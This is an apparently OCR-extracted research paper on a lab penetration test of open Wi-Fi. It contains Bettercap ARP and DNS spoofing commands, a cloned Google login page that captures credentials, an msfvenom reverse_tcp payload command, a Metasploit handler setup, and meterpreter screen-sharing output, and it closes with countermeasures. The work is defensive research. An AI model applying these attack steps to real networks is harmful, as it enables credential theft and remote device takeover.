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Abstract: This research aims to evaluate the security risks associated with open wireless networks, especially Man-in-
the-Middle (MITM) attacks that exploit the Address Resolution Protocol (ARP) and Domain Name System (DNS). The
penetration testing process was conducted by creating a secure and controlled laboratory and using a set of tools
available in Kali Linux to demonstrate how attackers can exploit these vulnerabilities to gain unauthorized access to
victims' devices, steal their sensitive data, and control their devices remotely The research focused on analyzing the
effectiveness of social engineering (phishing) attacks under MITM attacks, where a fake web page was created to trick
victims into entering their personal data and another web page was created to try to trick victims into downloading
malware consisting of an attack payload that aims to create a Reverse Transmission-Control-Protocol (TCP) shell that
enables the hacker to explore the target device and execute code using the Metasploit framework. The research results
showed the effectiveness of combining ARP and DNS spoofing with phishing attacks and malware injection attacks.
The results also showed that open wireless networks are highly vulnerable to attacks and that end users are the weakest
link in the security chain. The research also emphasizes the need to develop more effective security solutions to protect
core protocols such as ARP and DNS.

Index Terms: MITM, ARP Spoofing, DNS Spoofing, Phishing Attack, Reverse TCP Shell, Metasploit Framework,
Bettercap

1. Introduction

The Internet has become the most important thing in life in the current world. The majority of daily tasks,
including online banking, social media usage, and online shopping, now require the internet and mobile networks.
People are becoming more and more dependent on the internet, which makes them easier targets for hackers. The
primary goal of hackers is to steal confidential data from different companies, which might result in losses of money [1].
The wireless network linking to nearly everything that exists. Wi-Fi is undoubtedly present in everything and
everywhere these days. By 2030, there will be more than 17 billion residential WLAN devices in the world [2]. Due to
the volume of private and sensitive data that can be accessed via this network, Wi-Fi security has become essential. Wi-
Fi networks provide more than 75% of the data sent over the Internet to mobile phones [3], making them an attractive
target for numerous security risks. The endeavor to secure the Wi-Fi network is growing due to security risks like
hacking, data theft, and other forms of attacks [4].The majority of individuals are unaware of the dangers they run when
their local networks are compromised or linked to an unidentified network. It is vital to research consumer WLAN
security practices and increase knowledge of the possible consequences connected with user misconduct in order to
encourage the use of the most recent WLAN standards and security protocols [5]. As a result, there is now a demand for
ethical hacking, or network security testing, as well as for giving consumers and companies security advice. Many
businesses, including Microsoft, Google, and banks, support ethical hacking in order to fix network vulnerabilities and
provide the hacker with a substantial financial incentive. Furthermore, there are plenty of network specialists available
to assess corporate networks for vulnerabilities and offer best practices and suggestions to strengthen network security
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[6].Penetration testing delivers benefits such as minimizing financial loss, compliance with industry regulations,
customers and shareholders, maintaining corporate images, and proactively reducing detected hazards before they arise
[7].This research aims to conduct a penetration test using Kali Linux to test MITM attacks that require the attacker and
victim to be on the same network to demonstrate the risks of hacking a Wi-Fi network and at the same time clarify the
risks of connecting to open networks in public places that are more vulnerable to this type of attack and work to identify
vulnerabilities and potential risks associated with Address Resolution Protocol (ARP) spoofing and Domain Name
System (DNS) spoofing and test the effectiveness of social engineering methods to obtain personal data and use the
Metasploit framework to hack a computer running Windows 10, by creating a malicious program consisting of an attack
payload that aims to create a backdoor that enables the hacker to explore the target device and execute code. The target
device is tested for threat analysis after the code is successfully executed. And its behavior and the risks it poses are
analyzed.

2. Related Works

In 2020, Fisun Yavuzer Aslan and Bora Aslan used the websploit tool in Kali Linux to find a way to simply carry
out a Man-in-the-Middle (MITM) assault. The Wireshark application was used to evaluate the attack moment.
Cybersecurity privacy policies are being broken by these assaults, which allow for the collection of all user data on the
network and the listening in on communication between two connections. Then, different strategies to prevent ARP
Spoofing or to ensure safety were discussed [8].

To assist researchers and new students in deploying and utilizing the Metasploit framework as a teaching tool,
Mujahid Tabassum, Tripti Sharma, et al. talked about ethical hacking, penetration testing, and practical experiments in
2021. They gave an example of how an attack using the Reverse Transmission-Control-Protocol Shell (TCP) may be
carried out on a Windows 7 laptop. Using Kali Linux tools, ethical hacking and penetration testing were finished. These
techniques secure networks by finding common flaws and turning on the necessary defenses. Lastly, security
improvements and mitigating actions were suggested to fend off hacker attempts [6].

Abhishek Arote and Umakant Mandawkar discussed some of the fundamentals of penetration testing in 2021.
They also assessed the tools and exploits that were already available and used the Metasploit framework to test the
penetration of an Android mobile phone through a Reverse Transmission-Control-Protocol Shell attack and the use of
framework and tool exploits. The significance of penetration testing is also covered because it is an all-inclusive
technique for locating weaknesses in a system and has several advantages, including preventing financial loss and
proactively removing threats to which the system might be vulnerable [9].

Regarding social engineering attacks, Ammar Naser, Mahmoud Jazzar, and others [10] proposed in 2021 to
analyze phishing attacks as a form of social engineering, simulating a process occurring between two devices on two
different networks. Their study focused on how victims are tricked into entering personal information via a fake email
that leads to a fake website, and emphasized the importance of user awareness as a primary line of defense [10].

In 2023, Rafael Santiago Solivan submitted a master's thesis aimed at investigating the capabilities of Bettercap in
scanning network vulnerabilities and simulating DNS spoofing and phishing attacks. His project featured a controlled
virtual lab environment, focused on the ease of identifying and manipulating devices within the network, and
emphasized the importance of preventative measures and increased awareness of cyber threats [11].

While previous studies have explored single attacks or attacks that require user spoofing via direct links, our
research highlights the powerful effectiveness and impact of combining basic network attacks (ARP/DNS spoofing)
with social engineering and malware injection, achieving intrusion without requiring direct user interaction with
external links or files. This highlights a new level of threat in open wireless network environments and underscores the
need for proactive security awareness and preventative defenses.

3. Theoretical Background

This research will present three types of attacks that wireless networks are exposed to, as follows:
3.1 Man In the Middle Attacks

A very risky wireless network assault known as a Man-in-the-Middle (MITM) attack occurs when a third party,
disguising themselves, intercepts and listens in on data transmissions, leading hosts to believe they are speaking with
one other directly. Further attacks may also be sparked by it [12]. An attacker can deceive victims into thinking their
device is a genuine endpoint by using a spoofing-based MITM attack. By using spoofing, the attacker can influence the
transmitted data and intercept genuine communications between hosts, keeping the hosts uninformed of the
middleman's presence. Numerous network protocols, including Internet Protocol (IP), Address Resolution Protocol
(ARP), Domain Name System (DNS), Dynamic Host Configuration Protocol (DHCP), and domain names, are
susceptible to spoofing by an attacker [13,14].

The ARP protocol is stateless, conducts no authentication, and does not check the accuracy of address matches (IP-
MAC). By employing an ARP spoofing attack, sometimes referred to as ARP cache poisoning, attackers take advantage
of this vulnerability and transmit a fake ARP message to the local network [15]. as illustrated in Fig.1.
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Traffic between the user and the access point can be intercepted and a DNS spoofing attack can be carried out by
executing an ARP spoofing attack. The attacker can read DNS communications and construct a response message with
the same query identifier and IP address of a fake name server, or he can modify the IP address of the name server in
the DNS response message to the address of the false name server. As seen in Fig.2, the attacker can spoof the IP
address in both situations and route the targeted device to a bogus website. Serious repercussions from DNS spoofing
include the dissemination of malware, communication interception, and social engineering assaults that pilfer private
information [16,17].
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R Internet
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Fig. 1. ARP Spoofing Attack [18]
2 1 3 .
Injects fake Request resolves
attacker DNS entry to fake website fake website

A8 E

Issues request

DNS server
victim to real website Real website

Fig. 2. DNS Spoofing Attack [19]

3.2 Social Engineering Attacks

Social engineering has posed a serious security threat to Internet users as well as infrastructure, data and
cyberspace operations [20]. Social engineering remains the greatest threat to all companies, even with the most
sophisticated security measures in place, including robust firewalls, encryption techniques, intrusion prevention systems,
and intrusion detection systems [21]. This is because an attacker cannot directly target a system that does not possess
technological weaknesses; instead, he leverages the human element to carry out malevolent activities. The most potent
security assaults nowadays are thought to be social engineering ones [22]. The attacker manipulates users' minds to
make them disobey security procedures. A significant degree of expertise is required for the social engineer (the
attacker) to execute a successful social engineering attack, including the capacity to influence the victim with the help
of the right technology. It is impractical to rely solely on technological solutions to thwart such attacks since social
engineers can still manipulate human users in an attempt to get private data or grant unwanted access [23]. Hackers
employ a range of strategies to trick consumers into falling for social engineering scams. Cybercriminals, for instance,
launch widespread phishing attempts to deceive people into opening infected attachments or links, allowing the thieves
to either steal confidential information or lock down victims' devices and demand a ransom to unlock them [21]. Fake
websites, often known as fake software, are another method of social engineering assault that deceives victims into
thinking they are reliable and well-known websites or software. When a victim provides a phony website with their
actual login credentials, the attacker gains access to the victim's credentials and can use them to access legitimate
websites, including online financial accounts. One of these dangers is the Tabnabbing attack, which consists of a spoof
website that mimics the login page of a well-known website that the victim frequently accesses, such Facebook, Twitter,
or online banking. While concentrating on something else, victims input their login credentials. The malevolent
assailant takes advantage of the victims' faith in these websites to acquire their login credentials [20,24].
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3.3 Malware Attacks

An attacker can use malware to take control of, compromise, or destroy a single computer or network of computers.
When an infected file is viewed, malware that has lain dormant for some time will start to act and inflict harm.
Depending on what kind of malware it is, clicking on it can cause it to spread to other files and apps on the device.
Trojans, viruses, and adware are examples of malware [25]. Malware that operates on a target system similarly to a
Trojan horse is known as a payload [26]. Below are some of the types of payloads:

3.3.1 Backdoor

A backdoor is a computer method that allows one to get around authentication in a piece of software or network
system covertly. To enable an administrator to access the system and carry out routine upkeep or software debugging,
this gateway was built. Because the system administrator developed the backdoor, it is challenging for a particular user
to find or understand. The backdoor, however, is referred to as a secret gateway since hackers can utilize it to enter the
system illegally. A backdoor has various definitions and purposes, one of which is an entry point in a remote
management application that certain devices usually employ for routine software system maintenance and upkeep [27].

3.3.2 Reverse Transmission-Control-Protocol Shell

One useful tool for remotely breaking into computers and networks fast is the Reverse TCP Shell. Its use of the
victim's device to initiate a connection request to the attacker [28]. is what gives it its efficiency and resilience, as
illustrated in Fig.3. One kind of backdoor that the attacker opens on the victim's machine remotely is called a reverse
TCP shell. It allows the attacker to remotely run commands on the compromised device and carry them out without the
victim's awareness. Since outgoing traffic comes from the host—the vulnerability that creates the backdoor
connection—the firewall only looks at incoming traffic and ignores outgoing traffic. For the attack to be carried out, the
victim has to establish the connection to the payload (Reverse TCP Shell). After the victim runs the payload, the
attacker can use a webcam to capture images, access files, watch the screen, sniff packets, and take screenshots [26].

3.3.3 Bind Shell

The Bind Shell module operates by opening a port on the victim's workstation and then abusing the system by the
attacker during the connection initiation to the open port, the connection request from the attacker to the victim. There
are multiple methods to use the link shell, including using it with different payloads and ports and protocols [29].

Normal TCP shell
ﬁ‘ commands

—_
victim Reverse TCP shell web server

commands

Fig. 3. The difference between regular communication and reverse communication [26]

4. Methodology

The possibility of obtaining the victim's personal information and injecting malware will be tested by the attacker
connecting to the victim's wireless network. A wireless laboratory is established in this research to conduct penetration
testing (ethical hacking) experiments in a safe and controlled environment.

4.1 Hardware Requirements

1. A mobile phone (realme, VV3.0) was used as an access point.

2. A laptop (Razer, DESKTOP-MJS8ORR, RAM=16GB) with both the attacker's system and the victim's system
installed as virtual machines.

3. A Wi-Fi adapter that supports Monitor mode and packet injection. An external Wi-Fi adapter (ALFA,
AWUSO036NH, USB Adapter) was used.

4.2 Software Requirements

1. VMware is a software that allows creating virtual machines inside a real computer. It was used to install the
Kali Linux 2023.2 operating system that plays the role of the attacker, and the Windows 10 operating system
that plays the role of the victim.
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2. Install the following tools on the Kali Linux system: Bettercap, Metasploit Framework, Msfvenom, Toolkit,
Apache2.

4.3 Suggested Penetration Testing Model

To increase the chances of success of cyber-attacks, it is very important to follow a specific penetration plan.
Advance planning helps to accurately identify vulnerabilities, develop an effective attack strategy, reduce the risk of
detection of the attack, and focus on the main objectives of the attack and avoid deviation from them. Fig.4. shows the
diagram of the proposed penetration testing model.

The proposed model includes how to hack the communication channels between the victim and the access point
and passively eavesdrop on the data and make changes to it. Fig.5 represents the network structure before and after the
ARP spoofing attack. Once the communication channels between the victim and the access point are controlled and the
ARP spoofing test is successful, the attacker moves on to the DNS spoofing test. By executing a DNS spoofing attack,
the victim is redirected to fake web pages that have been prepared in advance to display a fake version of a login page
for a known website (phishing attack), or display a fake advertisement that prompts the victim to download a malicious
payload (malware injection) that leads to a reverse connection to the attacker's device.
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phishing Attack

Fig. 4. Suggested Penetration Testing Model
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Fig. 5. Home network architecture before and after ARP spoofing attack
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5. Practical Steps and Results

In Kali Linux, root privileges must be obtained in order to obtain all administrative privileges, such as modifying
and deleting system files, installing and running tools, giving software commands, and having full control over the
system and executing attacks.

It is also necessary to check whether there is an effective wireless connection and to find and stop processes that
may cause problems when hacking, so that the tools work smoothly, and to create a secure operating environment
before running the hacking tools. One of the main elements that must be stopped is the Network Manager. Stopping it
makes the process of detecting the attacker's wireless connection impossible, and thus the attacker can bypass some
security applications, as shown in Fig.6 Using the "airmon-ng" tool to stop the network manager.

The wireless adapter (Wi-Fi Adapter) is connected to the attacker's device via (USB) ports. Using the "iwconfig"
tool, the interface name of the connected wireless adapter is displayed, which is (wlan0), as shown in Fig.6. Using the
"airmon-ng" tool, the wireless connection is enabled in monitor mode, as shown in Fig.7. When monitoring mode is
enabled, an attacker can capture all data packets within the range of the wireless adapter. The goal here is to capture
data packets and traffic for the target network.

(kali® kali)-[~] . P
’___$ sudo su * ] Gives an attacker root permission
[sudo] password for kali:

[:—(rootﬁ}kali)—[/home/kali]
# airmon-ng check kill <= to stopnetworkmanager

Killing these processes:

PID Name
4352 wpa_supplicant

,__( root® kali)-[/home/kali] to display the parameters of

# iwconfig <= = the network interface which are
lo no wireless extensions. specific to the - wireless
etho no wireless extensions.

wlano IEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:on

Fig. 6. Stop Network Manager and remaining interfering processes and identify the network interface.

L—(» t® kali)-[/home/kali]
# airmon-ng start wlano
PHY Interface Driver Chipset

phyo wlano rtw_8822bu Realtek Semiconductor Corp. RTL88x2bu [AC1200 Techkey]
(monitor mode enabled)

Fig. 7. Enable monitoring mode

Bettercap is a multi-module tool that can be used for many activities. By delivering network data and users, the
events.stream module—which is utilized by default—is in charge of relaying what is occurring within the network. The
net.recon module is used to read the ARP cache table on a regular basis. Net.sniff module is specialized in sniffing and
jamming network packets, whereas the net.probe module is used to find both new and current clients in the network by
sending various test packets to everyone connected to the network so that the net.recon module can detect them. These
modules allow for the identification of network vulnerabilities, the selection of the victim, and the viewing of the
websites he visits. As illustrated in Fig.8, the victim and the access point are attacked simultaneously by turning on the
arp.spoof.fullduplex module, which determines the victim's IP address. Next, the ARP spoofing attack is initiated by
turning on the arp.spooof module.
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192.168.79.0/24 net.probe on
192.168.79.0/24 set arp.spoof.fullduplex true
.168.79.0/24 set arp.spoof.targets 192.168.79.2, 192.168.79.129
.168.79.0/24 arp.spoof on
.168.79.0/24 [03:32:57] [sys.log] [[jl arp spoofer started, probing 2 targets.
.79.0/24 [03:32:57] [sys.log]l [[EH] - full duplex spoofing enabled, if the router has ARP spoofing mechan:
attack will fail.
.79.0/24 net.sniff on
.79.0/24 net show
.79.0/24 [03:33:20] [sys.log] [[@%3] unknown or invalid syntax "net show", type help for the help menu.
.79.0/24 net.show
IP . MAC Name Vendor Sent Recvd Seen
192.168.79.128 00:0c:29:12:f0:e5 etho VMware, Inc. 0B 0B 03:27:21
192.168.79.2 00:50:56:e9:df:57 | gateway VMware, Inc. | 7.3 kB | 8.0 kB | 03:27:21 victim
((192.168.79.129 00:0c:29:ct:53:08 MSEDGEWIN10 VMware, Inc. 14 kB J€—30—kB— 03:33:31
192.168.79.254 00:50:56:f1:02:ce VMware, Inc. 0B 4.0 kB 03:27:53
fe80::9120:89b5:e03b:28eb | 00:50:56:c0:00:08 | DESKTOP-MJSS80RR | VMware, Inc. o8B o8B 03:33:35

Fig. 8. ARP spoofing attack has started.

Now, if the victim's computer's ARP cache table is reexamined, as illustrated in Fig.9, the victim will think that the
access point's MAC address and the attacker's MAC address are the same, while the access point will think that the
victim and the attacker have the same MAC address.

C:\Users\IEUser>arp -a

Interface: 192.168.79.129 --- Ox7
Internet S Physical Address Type
192.168.79.2 0 c-29-12-10-¢ dynamic
192.168.79.67 9-12 3 dynamic

192.168.79.12 dynamic

Fig. 9. ARP cache table on the victim machine after an ARP spoofing attack

The web pages that the victim browses can be manipulated by redirecting URL requests to a real or fake web page
specified by the attacker using ARP spoofing and DNS spoofing attacks. To make the DNS spoofing attack more
advanced and dangerous, it has been combined with the most common social engineering attack known as phishing
attack, where a fake copy of the Google account login page is created on the local browser (localhost) of the attacker's
device. The cloning process is done using the "Toolkit" tool. To increase the chance of deceiving the victim, all DNS
requests will be redirected to the local server by activating the "dns.spoof.domains all" module in the "Bettercap" tool as
shown in Fig.10, i.e. the fake login page will appear as a restricted gateway to force the victim to enter his email and
password. For example, when searching for Amazon on the victim’s device, the DNS request will be directed to the
attacker’s device address, as shown in the Fig.11, which will display a fake version of the Google account login page.
Once the victim enters the login information, it is easily captured by the “Bettercap” tool, as shown in Fig.12.

» set dns.spoof.domains all
» dns.spoof on

» [19:15:41] [sys.log] [f}i] ANSESPESE all — 192.168.79.128
» help

Fig. 10. DNS spoofing attack started

[04:51:06] [sys.log] inf[l amazon.com — 192.168.79.128

192.168.79.0/24 » [04:51:49] [sys.log] [[X]j] HRSMEPESE sending spoofed DNS reply for amazon.com (—192.168.79.128) to 192.16
8.79.129 : 00:0c:29:cf:53:08 (VMware, Inc.) - MSEDGEWIN10Q.

» [04:51:49] [sys.log] [[j] @RSHMEPOBE sending spoofed DNS reply for amazon.com (—192.168.79.128) to 192.16
8.79.129 : 00:0c:29:cf:53:08 (VMware, Inc.) - MSEDGEWIN1O.

» [04:51:49] [sys.log] [[}j] @NSHMSPEER sending spoofed DNS reply for amazon.com (—192.168.79.128) to 192.16
8.79.2 : 00:50:56:e9:df:57 (VMware, Inc.).

» [04:51:50] [sys.log] [[}j] @NSMSPOOR sending spoofed DNS reply for amazon.com (—192.168.79.128) to 192.16
8.79.129 : 00:0c:29:cf:53:08 (VMware, Inc.) - MSEDGEWIN1Q.

» [04:51:50] [sys.log] [[i] ARSMEPESH sending spoofed DNS reply for amazon.com (—192.168.79.128) to 192.16
8.79.129 : 00:0c:29:cf:53:08 (VMware, Inc.) - MSEDGEWIN1O.

» [04:51:50] [sys.log] [[Aj] @ASMSPOSK sending spoofed DNS reply for amazon.com (-192.168.79.128) to 192.16

8.79.2 : 00:50:56:€9:df:57 (VMware, Inc.).

Fig. 11. Respond to DNS requests to the local server
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It is also possible to inject malware using ARP spoofing, DNS spoofing, and the local server "Apache2". By
creating a payload: The payload is a malicious executable file, using the "msfvenom" tool, different malicious payloads
can be created. As shown in Fig.13, where (-p windows/meterpreter/reverse_tcp) specifies the type of payload, which is
a reverse connection payload that allows the attacker to remotely control the victim's machine, (x86) i.e. the payload

runs on a (32bit) architecture, (LHOST=192.168.79.144) is the (IP) address of the attacker's machine that will recei

ve

the reverse connection, and (LPORT=7777) is an unused gateway number on the attacker's machine that the reverse

connection request is received on. (-f exe) specifies that the resulting file runs on Windows. The type of the vict
device, whether Windows or Android, can be determined through the (net.recon) module in the "bettercap” tool,

im
as

shown in Fig.8. This is considered one of the disadvantages of not changing the default name of the device, so the

attacker can determine the type of payload needed. Finally, the payload file is saved with the name (application.exe) in
the path (/var/www/html).
4 Home [T Kali-linux-2023.2-vmware-am... [T MStdge-Win10-VMware R .
Victim's device
6 W wikipedia X Signin - Google Accounts x |+
5 C O & amazoncom w ® ©@ & 3
Sign in with your Google Account
Nood hek
Attacker's device
192.168.79.0/24 » [19:41:31] [net.sniff.dns] [ gateway > local : 2.79.168.192.in-addr.arpa is Non-Existent Domain
192.168.79.0/24 » [19:41:32] [net.sniff.http.request] [ 192.168.79.129| B8N [192.168.79.128 fserviceLoginAuth
POST /ServiceLoginAuth HTTP/1.1 I » o
Host: 192.158.73.128 < IP address of the victim
Ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept-Language: en-US,en;q=0.5 .
Content-Type: application/x-www-form-urlencoded > Attacker's IP address
origin: http://amazon.com
Upgrade-Insecure-Requests: 1
Referer: http://amazon.com/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 capture the Gmail and Password
Accept-Encoding: gzip, deflate
Content-Length: 413 from the fake Google login page.
Connection: keep-alive
GALX=SJLCkfgaqoM&continue=https://accounts.google.com/o/oauth2/auth?zt=ChRsWFpld2ImV1hIcDhtUFd1dzBENhI fVWsXSTANLWOMAThibW1TMFQzVUZFc1BBaURuWmL
RSQXE2%88%99APsBz4gAAAAAUYS_qD7HDfz38wBkxnaNouLcRiD3YTjXgservice=1sobdsh=-73308871067257924285_utf8= ‘Gbgresponse=js_disabled&pstMsg=16dnConn=&
checkConnection=§checkedDomains=youtubefsEmail Jagmail. com&Passwdd }&signIn=Sign in&PersistentCookie=yes |
Fig. 12. Show fake login page and capture gmail and password
= root@kali: ~ <]
File Actions Edit View Help |
l_—( root® kali)-[~]
# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -
f exe LHOST=192.168.79.128 LPORT=7777 -o /var/ww/html/application.exe
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /var/ww/html/application.exe
Fig. 13. Create an executable payload file
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L—( root® kali)-[~]
# msfconsole
Metasploit tip: View missing module options with show missing

7 \
((_—yry—_))
(,)\0 0/(_) g Specify the type of
e\ S \ Payload
\ *

Activate listening
platform

=[ metasploit v6.3.55-dev

--=[ 2397 exploits - 1235 auxiliary - 4
[ 1391 payloads - 46 encoders - 11 n
--=[ 9 evasion

Metasploit Documentation: https://docs.metas

22 post
ops

ploit.com/

Tt Sl Rt d

msf6 > use multi/handleri¢
[*] Us i oad generic/shell_reverse_tcp \4

msf6 exploit(multi/handler) >[set payload windows/meterpreter/reverse_tcp]|

payload = windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) [> show options —
\

Set payload

Payload options (windows/meterpreter/reverse_tcp): )
properties
Name Current Setting Required Description
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.79.128  yes The listen address (an interface may be specified)
LPORT 7777 yes The listen port
Fig. 14. Setting up the listening platform
MSEdge-Win10-VMware - VMware Workstation
Edit View VWM Tabs Help I~ &§ © & 2 [DHEH O P [~
Home [} MSEdge-Win10-VMware [} kali-linux-2023.2-vmware-am...

Q@ Free Amazon Shopping Credit X o+

(¢} A Notsecure & amazon.com

l#.Amazon logo

Get free Amazon shopping credit

download me

Enjoy a unique shopping experience with Amazon and get free credit when you register now.

Take advantage of the offer now. All you have to do is download the application and get $5 in free credit daily.

Fig. 15. The fake advertisement that appears on the victim's screen

View the full module info with the info, or info -d command.

msfé6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.79.128:7777
[#] Sending stage (176198 bytes) to 192.168.79.129

Create a Meterpreter

session

[#]| Meterpreter session 1 opened (192.168.79.128:7777 — 192.168.79.129:50053) [at 2024-08-06 16:19:21 -0400

Fig. 16. Payload execution by victim and communication and exploitation session initiated
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meterpreter > sysinfo To view system in-
Computer : MSEDGEWIN1O .

0s : Windows 10 (10.0 Build 17763).
Architecture : x64

formation

System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows

meterpreter > [

meterpreter > screenshare
Preparing player ...
Opening player at: /var/ww/html/NuBYLPkv.html
Streaming ...

Opening in existing browser session.

To start sharing the
victim's screen with
the attacker.

Fig. 17. Exploitation session (Meterpreter)

@ MSEdge-Win10-VMware - VMware Workstation

File Edit View VM Tabs Help ||~ & O D OB &~

Victim's device

{7y Home ’[—; kali-linux-2023.2-vmware-am... U_; MSEdge-Win10-VMware
v # wpa3 - Google Scholar x = ] X
< c 25 scholar.google.com/scholar?hl=en&as_sdt=0%2C5&q=wpa38btnG= * a a
= Google Scholar  wpa3 E SIGN IN
Articles bout 2, sults (0.06 s € Myprofile Y My library
Any time mH™L] A comprehensive attack flow model and security analysis for Wi-Fi and [HTML] mdpi.com
Since 2024 WPA3
Since 2023 CP Kohlios, T Hayajneh - Electronics, 2018 - mdpi.com
Since 2020 An interesting finding of this paper is that WPA3 still lacks in ... first analysis of the security

provided by WPA3 to a Wi-Fi network ... Section 4 gives an overview of the features of WPA3 and

Custom range
Y¢ Save 99 Cite Cited by 64 Related articles All 7 versions 99

Sort by relevance

Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd [PDF] iacr.org
Sort by date M Vanhoef, E Ronen - 2020 IEEE Symposium on Security and ..., 2020 - ieeexplore ieee.org
Unfortunately, the security guarantees of WPA3 and its ... in WPA3 and EAP-pwd. The
Any type EAP-pwd protocol is used by some enterprise Wi-Fi networks to authenticate users, while WPA3 is
Review articles Y¢ Save 99 Cite Cited by 155 Related articles Al 14 versions

C  OFile var html/NuBY{Pkv.html Attacker's device
& Gmail = YouTube & Maps
Target IP : 192.168.79.129
Start time : 2024-03-23 20:20:07 -0400
Status : Playing
v 4 ypa3 - Google Scholar x  + s 0 X
< c 25 scholar.google.com/scholar?hl=en8as_sdt=0%2C58q=wpa38btnG= * a 2
= Google Scholar | wpa3 n SIGN IN
Articles & Myprofle Y My library
Any time L) A comprehensive attack flow model and security analysis for Wi-Fi and [HTML] mdpi.com
Since 2024 WPA3
Since 2023 CP Kohlios, T Hayajneh - Electronics, 2018 - mdpi.com
Since 2020 An interesting finding of this paper is that WPA3 still lacks in .. first analysis of the security
provided by WPA3 to a Wi-Fi network ... Section 4 gives an overview of the features of WPA3 and
Custom range.
Y¢ Save 99 Cite Cited by 64 Related articles All 7 versions 99
Sortbyrelevance  pyragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd [PDF] iacr.org
Sort by date M Vanhoef, E Ronen - 2020 IEEE Symposium on Security and ..., 2020 - ieeexplore.ieee org
Unfortunately, the security guarantees of WPA3 and its ... in WPA3 and EAP-pwd. The
Any type EAP-pwd protocol is used by some enterprise Wi-Fi networks to authenticate users, while WPA3 is
Review articles Y¢ Save D9 Cite Cited by 155 Related articles All 14 versions

Fig. 18. Start sharing the victim's screen with the attacker

A listening platform is configured for the victim device using the Metasploit tool, then the handler is activated to
receive the reverse shell connection from the victim device and determine the properties of the received payload as
shown in Fig.14.

The payload is sent to the target device in different ways, such as email by attaching the malicious file to a
convincing email message, or it can be encrypted by merging and encrypting it with another file such as an application,
image, pdf file, link or video in a Trojan style to be more convincing and to prevent it from being easily detected by the
victim and antivirus programs. In this experiment, the payload is uploaded as is (without encryption) to a fraudulent
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website that asks the victim to download and run it, where we will reprogram the local server "Apache2" in HTML, to
display an advertisement trying to trick the victim into downloading an application to get free credit as shown in Fig.15,
and by spoofing (DNS), we redirect (URL) requests to the local browser. The application will be a (Reverse TCP Shell
Payload) payload. This payload opens a shell (or command prompt) to control the target through the (TCP) port. Once
the connection is established (the fake application is loaded on the victim's device and the Handler receives the reverse
connection request from the victim's device) as shown in Fig.16, the attacker will be able to initiate an exploitation
session to control the target system using the interactive interface (Meterpreter), enabling the attacker to execute
commands on the operating system such as, transferring files, logging keystrokes, and performing many other tasks.

Through the exploitation session, it is possible to display basic information about the victim’s system, and also the
screenshare command to share the victim’s system screen with the attacker is one of the commands available within the
Meterpreter session, as shown in Fig.17, where the victim’s screen is broadcast live on the attacker’s web browser, as in
Fig.18.

6. Countermeasures

Based on the result of the Wi-Fi penetration test, the study suggests the following practices:
e Raise user security awareness:

1. Beware of untrusted public networks: Avoid connecting to public Wi-Fi networks that request personal
information such as name, phone number, or email address, as hackers can exploit these as entry points for
their attacks.

2. Raise awareness of phishing risks: Users should be educated about recognizing the signs of online fraud and
the risks of clicking on unknown links or downloading files from untrusted sources, even if they appear
legitimate.

3. Avoid sensitive activities on public networks: It is strongly recommended not to conduct banking transactions,
log in to sensitive accounts, or exchange confidential information when connected to public Wi-Fi networks.

4. Check website security (HTTPS): Before entering any credentials, ensure the page is encrypted and uses the
HTTPS protocol, not HTTP, and that it is not a fake version.

5. Enable two-factor authentication: To add an additional layer of security, users should enable two-factor
authentication, especially on accounts containing sensitive personal information.

e Technical Measures to Protect Networks and Systems:

1. Using Virtual Private Networks (VPNSs): Routing traffic through a Virtual Private Network (VPN) is an
effective way to reduce the risk of MITM attacks. Using a VPN encrypts traffic within the tunnel, making it
difficult for an attacker to inspect or manipulate it.

2. Monitoring ARP Activity: It is recommended to use specialized software or hardware to monitor ARP activity
on the network and trigger alerts when detecting any unusual patterns that may indicate an ARP spoofing
attack.

3. Configuring Static DHCP Tables (for specific environments): In traditional static networks with a limited
number of devices, specific MAC addresses can be assigned to static IP addresses and locked in the router.
This method prevents attackers from changing these addresses, but it is not practical in dynamic networks with
a large number of users.

4. Continuously Update Security Software: Antivirus software and intrusion detection and prevention systems
must be updated regularly to ensure they are able to detect and respond to the latest threats and malware.

7. Conclusions and Discussion

By conducting a series of penetration tests in a secure and controlled environment, this study has demonstrated the
feasibility and effectiveness of combined attacks that combine ARP spoofing and DNS spoofing with phishing and
malware injection techniques. The main contribution of our research is to demonstrate how vulnerabilities in open
wireless networks can be successfully exploited to redirect traffic to phishing pages or to deliver malicious payloads
(Reverse TCP Shell) to victim devices indirectly, without requiring user interaction via external links. The results
achieved highlight the severity and ease of implementing these combined attacks, highlighting critical vulnerabilities in
cybersecurity. ARP spoofing enables an attacker to intercept and modify data, and DNS spoofing facilitates seamless
redirection of victims to malicious websites, exploiting users' trust and lack of awareness of the hidden risks in open
wireless networks. The experiment also demonstrated the success of using network attacks to deliver malware (Reverse
TCP Payload) and gain complete control over the targeted device. Countermeasures have been proposed to counter
these threats.
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